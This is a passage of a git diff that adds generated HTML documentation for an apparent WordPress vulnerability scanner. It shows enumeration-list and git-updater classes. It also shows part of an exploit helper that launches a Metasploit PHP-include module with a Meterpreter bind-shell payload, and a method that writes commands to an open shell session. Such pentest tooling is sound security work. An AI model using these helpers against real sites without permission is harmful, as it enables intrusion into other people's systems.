+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">answer</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/^y/</span>
+      <span class="ruby-identifier">msf_module</span> = <span class="ruby-string">&quot;exploit/unix/webapp/php_include&quot;</span>
+      <span class="ruby-identifier">payload</span> = <span class="ruby-string">&quot;php/meterpreter/bind_tcp&quot;</span>
+      <span class="ruby-identifier">exploit</span>(<span class="ruby-identifier">msf_module</span>, <span class="ruby-identifier">payload</span>)
+    <span class="ruby-keyword">else</span>
+      <span class="ruby-keyword">return</span> <span class="ruby-keyword">false</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">elsif</span> <span class="ruby-ivar">@type</span> <span class="ruby-operator">==</span> <span class="ruby-string">&quot;SQLI&quot;</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- start-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- start-method -->
+
+      
+        <div id="write_shell-method" class="method-detail ">
+          <a name="method-i-write_shell"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">write_shell</span><span
+              class="method-args">(id, data)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>write data to a shell, meterpreter is not classed as a shell.</p>
+            
+
+            
+            <div class="method-source-code" id="write_shell-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 189</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">write_shell</span>(<span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+  <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">write_shell</span>(<span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- write_shell-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- write_shell-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Generate_List.html b/doc/Generate_List.html
new file mode 100644
index 00000000..e27b93d9
--- /dev/null
+++ b/doc/Generate_List.html
@@ -0,0 +1,489 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Generate_List</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpstools/generate_list_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpstools/generate_list.rb">lib/wpstools/generate_list.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-generate_full_list">#generate_full_list</a></li>
+          
+          <li><a href="#method-i-generate_popular_list">#generate_popular_list</a></li>
+          
+          <li><a href="#method-i-get_popular_items">#get_popular_items</a></li>
+          
+          <li><a href="#method-i-save">#save</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Generate_List</h1>
+
+    <div id="description" class="description">
+      
+<p>This tool generates a list to use for plugin and theme enumeration</p>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="verbose-attribute-method" class="method-detail">
+          <a name="verbose"></a>
+          
+          <a name="verbose="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">verbose</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(type, verbose)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>type = themes | plugins</p>
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/generate_list.rb, line 27</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">type</span>, <span class="ruby-identifier">verbose</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">type</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/plugins/</span>
+    <span class="ruby-ivar">@type</span>           = <span class="ruby-string">&quot;plugin&quot;</span>
+    <span class="ruby-ivar">@svn_url</span>        = <span class="ruby-string">'http://plugins.svn.wordpress.org/'</span>
+    <span class="ruby-ivar">@file_name</span>      = <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">'/plugins.txt'</span>
+    <span class="ruby-ivar">@popular_url</span>    = <span class="ruby-string">'http://wordpress.org/extend/plugins/browse/popular/'</span>
+    <span class="ruby-ivar">@popular_regex</span>  = <span class="ruby-regexp">%{&lt;h3&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/(.+)/&quot;&gt;.+&lt;/a&gt;&lt;/h3&gt;}</span>
+  <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">type</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/themes/</span>
+    <span class="ruby-ivar">@type</span>           = <span class="ruby-string">&quot;theme&quot;</span>
+    <span class="ruby-ivar">@svn_url</span>        = <span class="ruby-string">'http://themes.svn.wordpress.org/'</span>
+    <span class="ruby-ivar">@file_name</span>      = <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">'/themes.txt'</span>
+    <span class="ruby-ivar">@popular_url</span>    = <span class="ruby-string">'http://wordpress.org/extend/themes/browse/popular/'</span>
+    <span class="ruby-ivar">@popular_regex</span>  = <span class="ruby-regexp">%{&lt;h3&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/(.+)&quot;&gt;.+&lt;/a&gt;&lt;/h3&gt;}</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Type #{type} not defined&quot;</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@verbose</span>  = <span class="ruby-identifier">verbose</span>
+  <span class="ruby-ivar">@browser</span>  = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>
+  <span class="ruby-ivar">@hydra</span>    = <span class="ruby-ivar">@browser</span>.<span class="ruby-identifier">hydra</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="generate_full_list-method" class="method-detail ">
+          <a name="method-i-generate_full_list"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">generate_full_list</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="generate_full_list-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/generate_list.rb, line 48</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">generate_full_list</span>
+  <span class="ruby-identifier">items</span> = <span class="ruby-constant">Svn_Parser</span>.<span class="ruby-identifier">new</span>(<span class="ruby-ivar">@svn_url</span>, <span class="ruby-ivar">@verbose</span>).<span class="ruby-identifier">parse</span>
+  <span class="ruby-identifier">save</span> <span class="ruby-identifier">items</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- generate_full_list-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- generate_full_list-method -->
+
+      
+        <div id="generate_popular_list-method" class="method-detail ">
+          <a name="method-i-generate_popular_list"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">generate_popular_list</span><span
+              class="method-args">(pages)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="generate_popular_list-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/generate_list.rb, line 53</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">generate_popular_list</span>(<span class="ruby-identifier">pages</span>)
+  <span class="ruby-identifier">popular</span> = <span class="ruby-identifier">get_popular_items</span>(<span class="ruby-identifier">pages</span>)
+  <span class="ruby-identifier">items</span> = <span class="ruby-constant">Svn_Parser</span>.<span class="ruby-identifier">new</span>(<span class="ruby-ivar">@svn_url</span>, <span class="ruby-ivar">@verbose</span>).<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">popular</span>)
+  <span class="ruby-identifier">save</span> <span class="ruby-identifier">items</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- generate_popular_list-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- generate_popular_list-method -->
+
+      
+        <div id="get_popular_items-method" class="method-detail ">
+          <a name="method-i-get_popular_items"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_popular_items</span><span
+              class="method-args">(pages)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Send a HTTP request to the WordPress most popular theme or plugin webpage
+parse the response for the names.</p>
+            
+
+            
+            <div class="method-source-code" id="get_popular_items-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/generate_list.rb, line 62</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_popular_items</span>(<span class="ruby-identifier">pages</span>)
+  <span class="ruby-identifier">found_items</span> = []
+  <span class="ruby-identifier">page_count</span> = <span class="ruby-value">1</span>
+  <span class="ruby-identifier">queue_count</span> = <span class="ruby-value">0</span>
+
+  (<span class="ruby-value">1</span><span class="ruby-operator">...</span>(<span class="ruby-identifier">pages</span>.<span class="ruby-identifier">to_i</span><span class="ruby-operator">+</span><span class="ruby-value">1</span>)).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">page</span><span class="ruby-operator">|</span>
+    <span class="ruby-comment"># First page has another URL</span>
+    <span class="ruby-identifier">url</span> = (<span class="ruby-identifier">page</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span>) <span class="ruby-operator">?</span> <span class="ruby-ivar">@popular_url</span> <span class="ruby-operator">:</span> <span class="ruby-ivar">@popular_url</span> <span class="ruby-operator">+</span> <span class="ruby-string">'page/'</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">page</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-string">'/'</span>
+    <span class="ruby-identifier">request</span> = <span class="ruby-ivar">@browser</span>.<span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">url</span>)
+
+    <span class="ruby-identifier">queue_count</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
+
+    <span class="ruby-identifier">request</span>.<span class="ruby-identifier">on_complete</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">response</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[+] Parsing page &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">page_count</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-keyword">if</span> <span class="ruby-ivar">@verbose</span>
+      <span class="ruby-identifier">page_count</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
+      <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>.<span class="ruby-identifier">scan</span>(<span class="ruby-ivar">@popular_regex</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">item</span><span class="ruby-operator">|</span>
+        <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;[+] Found popular #{@type}: #{item}&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-ivar">@verbose</span>
+        <span class="ruby-identifier">found_items</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">item</span>[<span class="ruby-value">0</span>]
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-ivar">@hydra</span>.<span class="ruby-identifier">queue</span>(<span class="ruby-identifier">request</span>)
+
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">queue_count</span> <span class="ruby-operator">==</span> <span class="ruby-ivar">@browser</span>.<span class="ruby-identifier">max_threads</span>
+      <span class="ruby-ivar">@hydra</span>.<span class="ruby-identifier">run</span>
+      <span class="ruby-identifier">queue_count</span> = <span class="ruby-value">0</span>
+    <span class="ruby-keyword">end</span>
+
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-ivar">@hydra</span>.<span class="ruby-identifier">run</span>
+
+  <span class="ruby-identifier">found_items</span>.<span class="ruby-identifier">sort!</span>
+  <span class="ruby-identifier">found_items</span>.<span class="ruby-identifier">uniq</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_popular_items-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_popular_items-method -->
+
+      
+        <div id="save-method" class="method-detail ">
+          <a name="method-i-save"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">save</span><span
+              class="method-args">(items)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Save the file</p>
+            
+
+            
+            <div class="method-source-code" id="save-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/generate_list.rb, line 99</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">save</span>(<span class="ruby-identifier">items</span>)
+  <span class="ruby-identifier">items</span>.<span class="ruby-identifier">sort!</span>
+  <span class="ruby-identifier">items</span>.<span class="ruby-identifier">uniq!</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;[*] We have parsed #{items.length} #{@type}s&quot;</span>
+  <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-ivar">@file_name</span>, <span class="ruby-string">'w'</span>) { <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">puts</span>(<span class="ruby-identifier">items</span>) }
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;New #{@file_name} file created&quot;</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- save-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- save-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/GitUpdater.html b/doc/GitUpdater.html
new file mode 100644
index 00000000..878ac76c
--- /dev/null
+++ b/doc/GitUpdater.html
@@ -0,0 +1,375 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: GitUpdater</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/updater/git_updater_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/updater/git_updater.rb">lib/updater/git_updater.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Updater.html">Updater</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-is_installed-3F">#is_installed?</a></li>
+          
+          <li><a href="#method-i-local_revision_number">#local_revision_number</a></li>
+          
+          <li><a href="#method-i-repo_directory_arguments">#repo_directory_arguments</a></li>
+          
+          <li><a href="#method-i-update">#update</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">GitUpdater</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="is_installed-3F-method" class="method-detail ">
+          <a name="method-i-is_installed-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_installed?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="is_installed-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/git_updater.rb, line 23</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">is_installed?</span>
+  <span class="ruby-node">%[git #{repo_directory_arguments()} status 2&gt;&amp;1]</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/On branch/</span> <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_installed-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_installed-3F-method -->
+
+      
+        <div id="local_revision_number-method" class="method-detail ">
+          <a name="method-i-local_revision_number"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">local_revision_number</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Git has not a revsion number like SVN, so we will take the 7 first chars of
+the last commit hash</p>
+            
+
+            
+            <div class="method-source-code" id="local_revision_number-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/git_updater.rb, line 28</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">local_revision_number</span>
+  <span class="ruby-identifier">git_log</span> = <span class="ruby-node">%[git #{repo_directory_arguments()} log -1 2&gt;&amp;1]</span>
+  <span class="ruby-identifier">git_log</span>[<span class="ruby-regexp">/commit ([0-9a-z]{7})/</span>, <span class="ruby-value">1</span>].<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- local_revision_number-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- local_revision_number-method -->
+
+      
+        <div id="update-method" class="method-detail ">
+          <a name="method-i-update"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">update</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="update-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/git_updater.rb, line 33</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">update</span>
+  <span class="ruby-node">%[git #{repo_directory_arguments()} pull]</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- update-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- update-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+      <div id="protected-instance-method-details" class="method-section section">
+        <h3 class="section-header">Protected Instance Methods</h3>
+
+      
+        <div id="repo_directory_arguments-method" class="method-detail ">
+          <a name="method-i-repo_directory_arguments"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">repo_directory_arguments</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="repo_directory_arguments-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/git_updater.rb, line 38</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">repo_directory_arguments</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-ivar">@repo_directory</span>
+    <span class="ruby-keyword">return</span> <span class="ruby-node">&quot;--git-dir=\&quot;#{@repo_directory}/.git\&quot; --work-tree=\&quot;#{@repo_directory}\&quot;&quot;</span>
+  <span class="ruby-keyword">end</span>
